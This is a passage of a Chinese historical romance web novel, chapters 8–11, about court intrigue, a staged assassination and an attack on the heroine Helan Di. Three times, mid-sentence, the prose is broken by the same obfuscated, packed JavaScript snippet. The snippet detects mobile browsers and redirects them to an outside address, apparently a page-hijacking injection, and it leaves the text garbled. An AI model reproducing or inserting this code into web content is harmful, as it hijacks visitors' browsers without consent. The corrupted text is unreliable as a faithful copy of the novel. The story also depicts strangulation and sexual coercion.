“我也没有办法,将军清楚,我无处可去。”说完这一句,她松开了他,孤零零地坐在那里,像个将要被抛弃的小兽。 独孤宗绪自诩是个冷情的人,他身世复杂,经历坎坷,从来没有那么些无聊的感情去怜悯别人。 可眼前的女子,他忽然很怜惜。 “这些日子事情太多,这才对你多有冷落,”独孤宗绪抚了抚贺兰的发,“你不要多想,安心住着,有空我会来看你的。” 说完,见她神色仍是寂寥,又补了句:“若真觉得无聊,可以去前院找我,让墨竹直接带你过来就好。” 她听到此言,抹了抹脸上的泪,匆忙地扬起一个笑意。可惜,哭得狠了,那笑容都带着勉强。 8. 八、烛影深 “娘子身体虚弱,劳烦你帮忙看看,若还需进补什么,只管告诉管家。”独孤宗绪理了理衣袍,侧目看向立在旁边静默无语的医女。 是个沉得住气的人,这么久了,始终低头立在旁边,眼皮都没抬一下。 “不知阁下如何称呼?是何方人士?”他忽然问道。 “回将军,小人姓王,是岳州本地人。” “王氏……”他念着,眼眸在她身上逡巡了几下,道,“看阁下举止,竟不似边塞之人,倒有些江湖之气。” 贺兰听闻此言,本能地抬起头,惊异地看了一眼独孤宗绪。 所幸他并未注意到自己的异样。 环夫人却神色如常,微微抬起双目,笑道:“乐陵公慧眼,医者游离在市井街巷,结识着三教九流,可不得有些江湖之气。” 她说得也是实情,如今世道动荡,人命轻贱,他们这些医士动辄便有性命之忧,有些功夫在身也属正常。 不过……未免过于滴水不漏。 “边地医士稀缺,女医更是寥寥,不如你就待在这里,专门侍奉娘子吧。”独孤宗绪不介意用这样的小恩小惠来讨贺兰的欢心,何况心有怀疑的人放在眼皮子底下才更放心,量也掀不起什么大浪。 “诺!”环夫人并未犹豫,直接答应了下来。 独孤宗绪又深深看了她几眼,不想引来身边人的不满,贺兰的手指轻轻缠着他的衣带,委委屈屈地低语:“将军只盯着她做什么……” 独孤宗绪听闻此言,忍不住轻笑了一声,刮了一下她的鼻子道:“听闻岳州的醋不错,想必阿荻很喜欢。” 贺兰听懂了他的调侃,忍不住羞红了脸,秋水盈盈一睇,似嗔似怨,娇得如同暗夜里的海棠。 独孤宗绪似乎受了蛊惑,视线寸寸拂过她的脸,最终落在她红润饱满的唇上。他的手落在上面,缠绵地停留。 这样的触碰,让眼前的女子轻轻颤抖了一下,双唇无意识地紧抿起来。指尖柔软潮湿的触感让独孤宗绪浑身如被火灼,他知道再这样下去,他会被彻底拽入这情丝交缠的网中,像猎物一样再难逃脱。 可他不想逃脱。 “夜深了,早些休息。”模模糊糊的一句话,带着几分喑哑。 侍女们却听明白了意思,立刻鱼贯而出,门扉轻阖后,帐幔旋即落下。 “妾还病着……”帐中女子柔弱羞怯。 “无妨,我有分寸……”男子的声音沉沉压下,混着一丝满意的喟叹。 “……” “怎么哭了?”旖旎被骤然打断,男子不解地问。 “将军对妾,不过如此。”女子的声音抽抽噎噎的,“妾不过是个玩物,病成这样都得不到怜惜。” 男子分明变得慌乱,小意地哄道:“是我不好,你别哭了,这几日好好养病,我不碰你就是。” “将军是君子,要说到做到。” 一段绮丽的情思就那样消弭在了暗昧的夜色里,混在烛火的跃动间,随着窗外吹过的风一起摇曳。 环夫人望着天边高悬的月亮,无声地喟叹。 “医士,这边请吧。”侍女弓着身,对她比了比离开的路,言语周到又客气。 环夫人又看了眼烛影深深的屋内,然后提步离开,再也没回头。 …… 那一夜,独孤策也做了一个梦,在梦里那个女子娇着声音喊他“独孤郎”。 冰肌玉骨,烟眉杏目,好看的如同妖物。 她的手像蛇一样缠上来,环住了他的脖颈,轻轻地凑近,用唇描摹着他的轮廓。 独孤策觉得自己像是在被火烧,所有的理智都要被焚为灰烬。他情不自禁地将她拥得更紧,恨不得牢牢嵌在自己的身体里。 “望郎君怜惜些……”她嗔怪自己的粗鲁,但是声音却惑人得厉害,仿佛不是在拒绝,而是在邀请。 独孤策再也忍不住,俯身吻上了她的唇。 那上面有三月桃花的清香,还柔软的不可思议。 “阿荻……”独孤策终于开口叫出了这个名字,生疏地两个字却缠绵起他的全部柔情。仿佛是置身于云端,美妙不可胜言。 他的理智一点点被吞噬,更不能化身为兽,将送到眼前的美味毫不留情地吞噬干净。 …… 清醒时,天未亮,烛火的余热仍在,缭绕起一片烟气。独孤策看着一片狼藉的床榻,心下懊恼不已,但比懊恼更清晰的却是怎么都平复不了的心跳。 她定是给自己施了咒法,才能肆无忌惮的入梦,勾魂摄魄后离开。 妖女! 她怎么成了这样的妖女…… …… 这样可耻的梦,缠了独孤策多日,让他在与属下谈话时,仍会跑神。这样的反常,自然落在了赵雍的眼中。 赵雍自然从侍从口中听到了那夜独孤策私见贺兰荻的事情,原本觉得那无关紧要,毕竟旧情难忘这件事,也属人之常情。 大王及冠未久,身边半个女人都没有,全部心思都在一统草原诸部上,这既是他的野心,也是他不得不承担的重担。当年他迫不得已抛下贺兰部这个女人的事,在这种乱世不过司空见惯,原本不值得自责太过。 可如今旧情复燃,对他而言未必是一件好事。 “清河公主被杀,那边似乎一点头绪都没有,依大王看,我们该如何?”赵雍开口问道。 陈留王慕容泠竭力在处理,虽然焦头烂额,但到底想要给个交代。有人想要阻止这场联姻,自然有人就想一力促成。 “征讨宇文部在即,此时联姻中断,对我们算不得好事。”独孤策敲着手中的棋子,缓声道,“有人不想促成此事,我们又何必自乱阵脚,让人钻了空子。” “确实,”赵雍笑道,“陈留王这些时日如此费心,想来在此事上是友而非敌了。” “希望如此,不过连送亲队伍都如此鱼龙混杂,可见洛城很不安定啊。”独孤策道。 赵雍善弈棋,连带着独孤策都成了个中里手。二人时时切磋,互有胜负。 “大王近日可留意到陈留王此人?”赵雍将手中的棋子落下,恰在一个凌厉的位置上,逼着独孤策不得不舍了小半片江山。 独孤策皱眉,像是在思索棋局,又像是在思考他的问话。 “陈留王出现在燕关,看似送亲,图谋却深。他虽然非嫡非长,但绝非看上去那般淡泊无争。”赵雍窥着独孤策的脸色,出言道。 独孤策深以为然地点了点头:“那是自然,慕容家的男人,怎会没有争心。他做做样子,能骗得了几个人?” “不过他此行的确收获颇丰……”赵雍慨叹道。 独孤策知道他说得是什么,顺着他的话说下去:“他与我那六叔相交,自然有所图。” “乐陵公勇武且多权略,在草原诸部中颇有威望,慕容泠趁着两国交好加以拉拢,怎会没有私心,只是不知这私心对大王是否有碍……” 他顿了顿,又道:“乞伏那归这件事上,乐陵公还欠大王一个解释。听说他对那贺兰氏十分宠爱,连处理军务都将她带在身边……” 赵雍说完这句话,下意识地挑眉看向独孤策。 果然,当他提到这个女人时,独孤策的眉心不觉轻皱而起,他下意识地瞟了瞟远处,回避着这个话题。 “不过一个女子罢了……” 不过一个女子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546673|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罢了,有什么值得他念念不忘,凭什么让他回头纠缠。 …… 但当他又一次与她不期而遇时,他自己都生出了几分恍惚。 太守府的后院种着一大片辛夷,这几日陆陆续续都开了花,热情的管家一遍又一遍地向他说着那处春光的美丽,引得他凡心大动。 移步向后园,果然见那辛夷开得正热闹,远远望去如紫色的烟霞。 独孤策不由地向更深处走去,不知不觉便走到了一处水榭。水榭修的精巧,临水而建,三面是静水,一面是曲曲折折的回廊。上书“隰有荷华”四字,运笔流畅,风骨俏立,竟是难得的好字。 独孤策一向喜欢汉家文化,不由靠近去细细观察赏鉴。 便在这时,水榭中的美人猝不及防地闯入了他的视线。 美人并未注意到有人靠近,就那样闲闲地倚着栏杆,曼目远望。风颇大,舞动着她身上宽松的衣衫,烟粉色的衣衫上并无半点缀饰花纹,反而让她宛若仙子,随时要羽化而去般。 临水是一树一树的辛夷,于春风中尽情舒展,这里的确是个赏景的绝佳所在,只是沉醉美景的人却不知道,她亦成了一道风景,落在了别人的眼中。 反倒是她身边侍立的仆婢先发现了外人的闯入,讶异地提醒了一声,她这才回头去看。 横波微漾,秋水澜生。 她的眼中先是惊讶,继而在仓促地闪躲后,蕴起了一抹不易察觉地悲伤。但这些微妙的情绪,都被她浅淡又疏离的笑容掩盖,她对着他行礼,叫他“大王”,客气周到地如同面对着一个陌生人。 独孤策鬼使神差地又向她靠近几步。 贺兰忍不住向后退去,一双大眼睛扑闪着此刻的焦灼和不安。 她身上有幽微的香气,并非什么名贵的香料,也算不得浓郁,偏偏就能丝丝缕缕地侵入他的呼吸中,诱着他想起那些旖旎的梦境。 见对方仍在靠近,她仓促地垂下头去,只留给独孤策一截莹白如玉的纤纤脖颈,还有脖颈上缭绕着的几丝碎发。 独孤策控制着自己的呼吸,害怕它太过凌乱而打扰到此间的宁静。 “阿荻,你是何时能开口说话的?”一个唐突地问题,却也是他能想到最不突兀的表达,也是他最想问的一句话。 她仍不抬头,也不回答,只是再次行了个礼:“妾与大王算不得熟识,不知如何回答大王的问题。” 这句明显就是在负气了,她能有这样的反应,再正常不过,毕竟说到底当年也是他辜负在先。 “阿荻”他勉力让自己的声音听着温柔小意,“当初我以为我很快可以回来接你,谁知……” 他连自矜身份的自称都抛下了,只让他看着仍如当年,可谁知他的话还没说完,就被无情打断了,她的声音柔和清婉,却很是冷漠。 “妾早将旧事忘得干净,还请大王也休要再提。”她顿了顿,鼓起勇气抬头,眼中一片哀伤,“乐陵公待我很好,烦劳大王莫要再牵念。” 字字句句都是疏离,那夜的事好像只是他一厢情愿的一场梦。 “他若是待你好,为何你病了连个大夫都请不到,那夜你分明……”话到嘴边,独孤策也犹疑了,此情此景的确不是说这些话的时候。 然而她与那夜的态度判若两人。 “大王恕罪,乐陵公在等我,先告辞了。”她没有再多说一个字,仓促地带着仆婢就要离开,逃也似的。 独孤策想要挽留,但伸出的手却僵硬地停在了半空中。他望着贺兰离开的背影,袅娜如蝶,轻盈如雾,倒是捉摸不住了。 说什么那人甚好,不过是她心里仍怨着自己当初弃她不顾,嘴硬罢了。 9. 九、暗流涌 贺兰荻回去的路上,迎面遇到了款步而来的独孤宗绪。一袭雪青色襕袍,头上簪了只玉簪,看着颇有名士风致。 他说话前喜欢先笑一下,无端让人觉得温和有礼。 “听说后院辛夷开得好,可去看了?”他问道。 贺兰并不惊讶他知道方才发生的事情,这样一个小小的院子,人多嘴杂,什么风言风语都属正常。 她款款行礼,巧笑嫣然:“看过了,总觉得寡淡,不及桃李浓艳。” 独孤宗绪将她扶起,轻轻拂了拂她的衣袖,贺兰这才注意到,那里沾了水,有些脏了:“将军稍待,妾去更衣。” 她方要走,却被扯住了袖子。 “不急,陪我走走吧。”独孤宗绪摆摆手,屏退了随从,然后自顾自地带她向前走去。 贺兰忖了忖,跟上了他的脚步。 他沉默,她亦不开口,不知不觉就走到了书房外。 他很喜欢这一处,布置的比其他地方要用心得多。贺兰的目光却没有被几案上那些价值连城的笔墨纸砚吸引,她注意的是书房一侧从地面到屋顶堆成的书墙,一眼望去,卷帙浩繁,有巍巍之相。 少时阿母就曾对她说过,只有读书才能让一个人平静从容,悲喜由心。她原本就出自书礼之家,是被精心教导过的闺秀,若没有那场变故,她该会过着怎样的日子……她不敢想,怕想了就再也无法忍受现在的生活。 后来,她能接触的只有佛经,说实话她并不爱读,因为晦涩的经文注定只能让她获得暂时的救赎。 她也好奇,若是经文真得有用,凭什么那些男子所读皆非如此,凭什么他们需要的不是忍让和慈悲,而是征服和掠夺。 可见都是错的,不过是规训人的手段罢了。 “阿荻也喜欢读书?”独孤宗绪的声音将她拉回了现实。 贺兰本能地点头,回神后却有几分赧然:“妾识得字不算多,谈不上喜欢不喜欢。”藏拙是她的保命之策,她并不认为这些男子会有宽广的心胸,接纳一个女子的渊博和聪慧。更多时候他们喜欢俯视,用他们自以为是的才华和见识。 心里越不屑,脸上的笑容就越纯洁无害。 独孤宗绪见她如此羞涩,忍不住走过来,轻轻牵住了她的手,带她到书架前,温柔道:“这里的书,想读哪一本便读哪一本,看不懂,问我就是了。” 女子回身,不加掩饰的欢喜就这样直直撞到独孤宗绪眼中,流淌着感激与倾慕的眼神,让她本就妍媚的面容,愈发生机勃勃,动人心弦。 独孤宗绪忍不住抚了抚她桃花般娇艳的脸。 “当真想看哪本都可以吗?”她不可置信地又问了一遍。 “自然。” “不看佛经也可以?” “没人逼你做不喜欢的事情。” 独孤宗绪的声音如湖上清风,听在耳中有浅浅涟漪漾上心头。 贺兰抬起头,用自己的脸颊在他的掌心蹭了蹭,用乖顺来表达自己的感激。独孤宗绪终于想起了她像什么。 像自己曾经养过的那只狸奴。 他看向贺兰的眼神忽然变得很温柔,他伸手将她拥入了怀中,轻轻叹了口气。 半晌,怀中的人忽然开口问道:“将军有心事?” 独孤宗绪的声音里透着疲惫与无奈:“没什么,只是想与你独处一会儿。” 听到这句,贺兰轻轻环住了他的腰,安静地靠在了他的怀中。 “阿荻,就这样陪我待一会儿吧。”独孤宗绪意气消沉,颓着身子坐到窗边的小榻边,手指按着头,眉心深深蹙起。 她早就感觉到,他与独孤策生了龃龉,他并不像面上那般忠诚和服从于这个和他年岁相近的侄儿。 听说当时独孤策流落在贺兰部时,是他暗地联络部落旧臣,囚禁作乱的二哥,将独孤策迎回,推他登上可汗之位。所谓力挽狂澜,忠心耿耿不外如是,可这样的功绩往往会随着独孤策权势欲望的增长,变成功高震主的威胁。 此一时,彼一时,过去扫清障碍的刀,谁知道会不会有朝一日成为架在脖子上的利刃。独孤策不敢赌,独孤宗绪亦骑虎难下。 贺兰装作不知,一言不发地跟随他,坐到了他的身旁。独孤宗绪望了她一眼,缓缓躺下,在她的膝上找了一个舒服的角度,轻轻阖上了双眼。 贺兰用指按揉着他发紧的额心和太阳穴,柔声道:“将军休息一会儿,我陪着你呢。” 他没有回应,像是已经睡着了。 博山炉缭绕起淡淡的香气,烟雾弥漫在朱红色的书架间,仿佛偷得了书里的只言片语,凝成渺远空幽的意境。 窗外十分安静,偶有几只麻雀叽喳觅食,跳上窗台,企图打破此间宁和,但过了一会儿也觉无聊,又跳开去了院中。 “阿荻,若是独孤策对你仍有旧情,你可愿跟他回去?”过了很久,久到贺兰都有些昏昏欲睡时,耳边忽然传来独孤宗绪的声音。 他的声音闷闷的,听着不似玩笑。 贺兰愣了一下,知道这句话并不好回答,于是斟酌了许久,才道:“草原上有句话,一匹骏马决不能总回头看同一片草原。” “这么说,你是不愿了……”他睁开眼睛,含着浅淡笑意,打量着贺兰。 贺兰不明白他的意思,正不知如何回答,忽然听到外面急促的敲门声。 这个时间敢做这件事的,自然又是墨竹。 果然就听到了熟悉的声音:“主公,大王有事与你相商。” 独孤宗绪揉了揉额角,露出一丝不耐,他起身,理了理并不算凌乱的发髻和衣袍,这才翩然而去。走了几步,回头时见贺兰惶惶然地站在原地,又忍不住走过去拍了拍她的肩膀:“安心在后宅待着,不要乱跑。” 贺兰依依牵着他的衣袖:“将军早些回来。” 他说了句知道,然后头也不回地离开。 门外灰沉沉地天压得很低很低,光线昏沉的厉害,锦衣玉带的他便是天地间唯一的一抹亮色,可惜也很快就融进了扯絮般的大雪中,难觅踪迹。 在门外站了一会儿,冻得脸都有些发僵,贺兰苦笑了一声,扬声去叫素商。 “传些风声出去,就说我的住处有盗贼潜入,丢了好些首饰。” …… 晚膳时,贺兰拎着食盒去找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546674|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 独孤宗绪,被书房侍候的仆婢告知,他正在沁芳阁。沁芳阁是专门为送亲使提供的暂住之所,那里在西院的东北角,很是幽静。 “殿下尚未用膳,妾炖了鸡汤,想要让他尝尝。”走到沁芳阁,却被守卫在外的侍卫拦住了,免不了一番解释。 “闲杂人等不可入内。”侍卫并不认识贺兰,阻拦时很不客气。 忽然身后有人道:“贺兰娘子是随孤一起来的。” 说罢,那人头也不回,径直向内而去。 侍卫匆忙行礼,叫了一声“大王”,又连连向贺兰致歉,再未敢阻止半分。 “我记得你以前并不喜欢凑热闹。”独孤策负手走着,忽然开口,对身后的贺兰道。 “妾怕郎君饥饿,来送些吃食。”她与独孤始终保持着一个得体的距离。 他太过高大,巍峨如山般挡在眼前,贺兰忍不住放慢了脚步,与他隔了些距离,可是他身上的龙脑香气还是徐徐闯入她的呼吸中。她记得,他一直是个讲究的人,纵使落魄时,亦保持着良好的习惯,不让自己看着颓唐窘迫。 也是可笑,有些东西明明想要忘记,偏偏还会记起,她自己都觉得分外无趣。 “陈留王方才遇刺,凶手再次逃之夭夭,这件事……你如何看?”独孤策突然停下,转身问道。 贺兰藏着心事,踉跄了一下,差点撞到他的胸口。他下意识伸手去扶,但她已经灵巧地躲开,不动声色地又退了几步。 “妾不懂这些……”贺兰语气疏远,隐约带着担忧,“只是希望大王莫要责难我家将军。” 一口一个我家将军,亲密地让人心烦。 “你又怎知我会责难他?”独孤策看着她,声音里带了几分不悦。 “终究是在太守府中出了事,将军心里忐忑,这些日子茶饭不思,妾也觉得心疼。” “他曾对你抱怨过什么吗?”独孤策听出了她的弦外之音,眼中骤然阴云密布,“我可从未指责他半分。” 说罢,心头火气更盛,冷哼道:“无名无分,哪里就情深义重至此……” 扔下这句话,他忽然转身,加快了脚步,背影看着十分不豫。 贺兰眯了眯眼睛,择了另外一条路,不再继续跟着他。 沁芳阁前也种着许多辛夷,花苞开得大,幽幽散着冷香。几个侍女在树下窃窃低语,神色忐忑:“殿下伤得这样重,真让人害怕,青天白日的竟然有人公然行凶……” “殿下初到此地,哪里会与人结仇,莫不是……” “莫不是什么?” “凶手就在太守府中。” “难道是代王不愿与我大晋结亲,这才动的手?” “你傻啊,要真是代王不愿意,怎么会在自己的地盘上动手,肯定是有人故意破坏联姻。” “那会是谁?总不好是草原上其他部族吧,这代王还真没少得罪人,连累了咱们殿下。” 贺兰听着侍女的谈话,轻轻抚了抚自己的衣襟,手心有汗,让她觉得粘腻恶心。 心狠手辣,无所顾忌,行事鲁莽,刚愎自用,直接刺杀是那个人会用的手段,绝对不会有人怀疑。 10. 十、步步计 一面想一面进了阁中,血腥气先于一切闯入她的鼻端,她拿出帕子捂住口鼻,硬着头皮去找独孤宗绪。 “你还是和当初一样,见不了一点血腥。”独孤策伸手,抓住了贺兰的腕子,轻轻将她扯到了身后,“到外面去待着。” 贺兰看了独孤策一眼,眼圈微微发红,话语仍倔强:“我不怕,我早就见惯这些了。” 分明不是在抱怨,但字字都饱含委屈,独孤策的心轻轻抽了一下,握着她腕子的手都有些发僵。 他叹了口气,尝试着去抓她的手,却被她不着痕迹地躲开:“不劳大王费心,你还是操心这件事该如何料理吧。” 独孤策听她如此说,愣了一下,旋即又看了贺兰一眼,忽然露出一个莫测又玩味的笑容。 贺兰瞪了他一眼,选择躲避他的目光。 她撒娇时固然讨喜,生气时反而更鲜活可爱,当年他怎么没有发现…… “先杀公主,后伤亲王,哪里来的歹徒,竟然如此猖狂。”独孤策不再思量贺兰的小儿女心思,走上前去对一筹莫展,焦头烂额的独孤宗绪道。 “是本宫疏于防范,不干乐陵公的事,代王莫要动怒。”坐塌上的慕容泠苍白着脸色,缓声道。 他的伤口虽然已经被伤医处理好了,但疼痛还是让他冷汗涔涔,气息不畅。他该庆幸,若不是有些身手,这一剑就该刺在心口,立时毙命,而不是刺破手臂,受了些皮肉之痛。 “孤怎会怪罪六叔,陈留王说笑了。”独孤策心里烦乱,也不知自己对独孤宗绪的不满,何时竟然明显到了这般地步,一个两个都挂在了嘴上。 他勉强扯了个笑,解释道:“殿下在孤的地盘上出了事,孤心里十分过意不去,难免急躁了些。总归是那贼人太过狡猾,六叔这些日子辛苦了,孤心里都清楚。” 独孤宗绪脸上是惯常的温和,拱了拱手,淡声说了句大王言重了,然后问慕容泠道:“可见到刺客样貌?” 慕容泠拭了拭额上的冷汗,涩涩道:“遮着脸,看不分明,不过身形矫捷,动作狠辣果断……” 他下意识地捂了捂伤口,疼得声音都虚了几分。 “他……打斗中掉落了一个令牌。” “这就好办了。”独孤策身边的瘦老头,忽然道,“令牌关乎刺客身份,殿下该早些拿出来的,以此为凭据搜查,岂不是更快。” 贺兰识得赵雍,见他跟着独孤策,微微向独孤宗绪身后躲了躲。 慕容泠却犹豫了,踟蹰半天也不肯拿出令牌。 “殿下是有何为难之处么?”独孤宗绪看出他的犹疑。 慕容泠听他如此说,闭着眼睛,长长叹了口气。 “这……让我如何说……” “刺客不抓,危险重重,且关乎国事……”独孤宗绪循循道。 慕容泠一双剑眉皱得极深,都能看到眉间深深的丘壑,似乎经历了很多挣扎。 “这个令牌出自渤海王府,”他声音压得很低,“我应当没有看错。” 说罢,又解释了一句:“或许只是刺客故意陷害,毕竟联姻关乎国事,我兄长不会这样做。” “并非所有人都与你我心愿相同。”独孤策看向慕容泠的伤,唇角带了嘲讽,“有人不愿不是很正常吗?只是不知你父皇是否知情……” 说罢,他拂袖离开,浅浅的怒气留给屋中人,足以威慑,也表明了自己的态度。 不知是不是错觉,贺兰感觉他离开前,目光在自己脸上停了一瞬。 她垂了眼眸,藏起了九曲婉转的心事。 …… 雪又静静落了很久,直到夜深,还在簌簌飘着。梅树横斜在窗前,衬着廊下摇曳的灯,显得孤清。 “辛夷都开花了,怎么又落了雪。这气候真是诡异……”贺兰抱怨。 环夫人搭了一回脉,沉吟道:“阴虚火旺,形气衰少,你近来心气太浮了些……” “姊姊如今越发进益了,假以时日,当为一代神医。”贺兰趴在几案上,软的像个没有骨头的猫,她在人后一向喜欢这个姿势,仿佛只有这样才能彻底撕开伪装,变得真实纯粹。 环夫人对她的揶揄付之一笑后,正色道:“我们只需要留一个令牌,慕容泠就会与我们合作?” “才不是合作呢,我们是帮了他呀……他若真是毫无私心,或者有心遮掩,今日就不会将令牌拿出了。”贺兰坐了起来,拿起妆台上的步摇,对着环夫人如云的发髻比了比,啧啧道,“阿姊的头发生得真好,我要是有这样一头乌发,就给上面插满步摇。” 环夫人最知道她的性情,一意孤行地厉害,每当她开始顾左右而言它时,往往都是做好了决定,不想被人劝阻。 她没想劝阻,只是担心,她们势单力孤,没有太多能力与这些人周旋。 “哎呀,姊姊担心的无非是他们查到咱们头上,知道自己中了计。姊姊真是多虑了,慕容泠就算察觉出刺客的意图,也不会深查下去,因为他要的是慕容泓的把柄,有人递到手中,不恰恰说明是友非敌么?至于对方什么意图,和他又有什么关系,左不过殊途同归罢了。” “他羽翼未丰,哪里能比得上他的那些兄长,能有此等良机,他巴不得赶紧抓住。” 环夫人被她说动,想了想,又道:“那边我已经布置好了,不过你以身入局,会不会太冒险了些?既然矛头已经指向了慕容泓,我们没必要再……” 贺兰摇头:“若不能再加把火,以你我之力如何能与他抗衡。我倦了,不想陪他玩那些拙劣的伎俩。” “堂堂一个皇子,使得全是上不了台面的阴招,能有什么大出息。”贺兰哂然。 “家主还在他手里。”环夫人提醒。 “他又不是白身,不是还有段氏可以依靠么……”贺兰顺势靠在了环夫人的肩上,依依地闭上了眼睛,“我只想让慕容泓死,不为别人,只为我自己。” “我会将他捉来,由你亲自了结。”环夫人心疼,摩挲着贺兰的发。 贺兰的声音闷闷地:“让我想想,是一刀一刀割了他的肉呢,还是将他挂起来,一点点放干他的血……就像咱们在草原看到他们杀羊那般。” 她说得兴奋,可是眼中却一点光彩都没有,只有疲惫,只有悲伤。 “好,随我家女郎高兴。”环夫人握住了贺兰的手。 贺兰的手很凉,小小一只,柔软而细弱。可她却想要用这双手来为她们这些孤苦无依的人谋一条出路。 她明白的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546675|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 环夫人觑到案上摆得几本书,问贺兰:“这些书……” “我又开始读书了,我想知道那些日夜困扰我的东西,会不会在书中找到答案。” 环夫人的眼中漫过一丝悲伤,叹道:“从前夫人就最喜欢这几本,她总说治国做人之理皆在其中,想不到你将这些话记得这般清楚。” “是啊,我记性好,好的坏的都忘不掉。”贺兰难得这样一本正经地说话,听到环夫人耳中,却引出了她内心的无限悲伤。 她的手摩挲过书角,不由红了双眼。 …… 乞伏那归从部下那里出来时,脚步仍有些虚浮。 今日的酒很是上头,不过喝了几杯,便觉醉意熏然。部下按住了他,不让多喝:“多事之秋,喝酒误事,可汗还是莫要再饮了。” 乞伏那归并不听劝,反而有几分轻慢:“怎会如此胆小,那独孤小儿既然众目睽睽下答应了,自然不敢动我。” “还是谨慎些,莫给殿下惹麻烦。”部下皱眉,犹豫地说。 乞伏那归摆手说不会:“出了再大的事儿,也查不到咱们头上。本汗除了给那独孤宗绪送了个美人,可再没做过其他的事儿。” 想起那张娇媚的脸,他不免懊恼:“要不是殿下不允,本汗早就睡了她,哪里轮得到独孤宗绪。” 部下见他越说越荒诞,忙吩咐手下将人扶回住处。 绕过几处回廊,听到了几声琵琶,听着婉转多情,让他心思荡了一下。果然,刚过月洞门,就看到一个曼妙的佳人在对月拨琴,她手上的琵琶拨子有一搭没一搭的,像是藏着许多心事。 乞伏那归推开了仆从,踉跄着向那女子走去。 边荒之地,少有美色,更何况是这等绝色。她身上披着白色的貂裘,转头看他时,眼里荡着楚楚的水波。 待看清来人,她陡然停下了手上的动作,怯怯向后退了几步。 正是这几步,立刻激怒了晕沉燥热的乞伏那归,他一把抓住了女子的手腕,将她扯到了怀中,另一只手旋即捏住了她玲珑的下巴,迫着她抬头。 “放肆,你放开我!”女子推搡,但哪里能拗得过男子的气力,只能瞪着一双妙目,眼泪扑簌扑簌地往下落。 她哭起来更是惹人怜爱。 乞伏那归气血涌动地更厉害了,油腻的嘴控制不住去寻她的脸颊。 “贺兰部第一美人果然名不虚传!”乞伏那归喟叹不已,不顾怀中人的挣扎,仗着蛮力就要剥她的衣衫。 贺兰剧烈挣扎起来,两人推搡间,琵琶落地,弦都摔断了几根。 “你如此无礼,就不怕乐陵公怪罪。”贺兰哭叫。 “贺兰荻,你不过是个以色侍人的贱人,在这里装什么。”乞伏那归肥厚的掌掐在贺兰的脖颈上,恶狠狠地说,“你以为搬出独孤宗绪我就会怕你。” “独孤策当年抛弃你,你以为独孤宗绪不会么?” 此言一出,他忽然听到清脆的巴掌声,那女子的手又快又狠,打得他颊边火辣辣地疼。 乞伏那归踉跄摔倒,手触到了地上的琵琶弦。一时怒气上头,顾不得其他,他拿起就缠在了贺兰的脖子上,恨声道:“贱人,乖顺些,不然我勒死你。” 11. 十一、危局现 “你……便是这般……这般勒死公主的吗?”贺兰忽然道。 “什么?”乞伏那归没听清,以为这女人是在骂他,手上不由加了些力。 “是你杀了公主,以为我不知道吗?”她忽然提高了声音,脸上露出一丝诡异的笑。 “你胡说什么!”乞伏那归这次听得分明,一时气急,就动了杀心。 还未付诸行动,忽然感到一股大力踹到了他的腰上,膘肥体壮的人被这一脚生生踹的飞了出去,寒光闪烁间,刀劈在了他的肩头。 鲜血喷溅,乞伏那归惊叫着,看向来人。 高大英伟的男子一手持刀,另一只手已经揽住了贺兰,将她紧紧护在了怀中。 “找死!”比刀光更寒凉的是他的眼眸,这双眼眸嵌在他利落英俊的脸上,咄咄逼人,杀气腾腾。 乞伏那归的酒立时就醒了一半,捂着被踢疼的腰,却没敢喊疼。 “代王殿下,这不过是误会……误会……”他吸着气,解释道。 独孤策的视线落在乞伏那归的手上,一截琵琶弦仍被他牢牢攥着,泛着一丝莹润的光。 收回视线,怀中的女郎衣衫凌乱,脖颈上伤痕深重,再差一点,她的命就丢在这里了。她显然被吓坏了,根本不管眼前的人是谁,只一味地向他怀里钻,试图求得护佑。 “阿荻……”独孤策握着她的肩膀,想要将她从惊恐中唤醒。 可她却只缩着脑袋,喉中发出一点模糊的呜咽。 “将人绑起来,先给他醒醒酒。”独孤策冷声吩咐,然后在乞伏那归的挣扎怒骂声中,一把将怀中人打横抱起。 走了一段时间,贺兰才终于睁开了眼睛,怔怔然看着抱着自己稳步前行的男子。她的脸色很苍白,纤弱的身体像是寒风中摇曳的枯叶。 独孤策的脚步迟滞了刹那,对着她露出一个安抚的笑容,声音温柔如水:“莫怕,有我在。” 然而这句话并没有换来她的依恋和感激,她的眼中很快就聚起了越来越多的泪,这些泪水顺着她的脸颊肆意的流淌,破碎在他的胸口。 怎么会有那么多的泪啊! 独孤策停下了脚步,将她抱得更紧了些,让她贴在了自己的胸口。 慢慢的啜泣变成了呜咽,呜咽变成了嚎啕,她在他的怀中放肆的悲伤,像是要哭尽一生的眼泪。 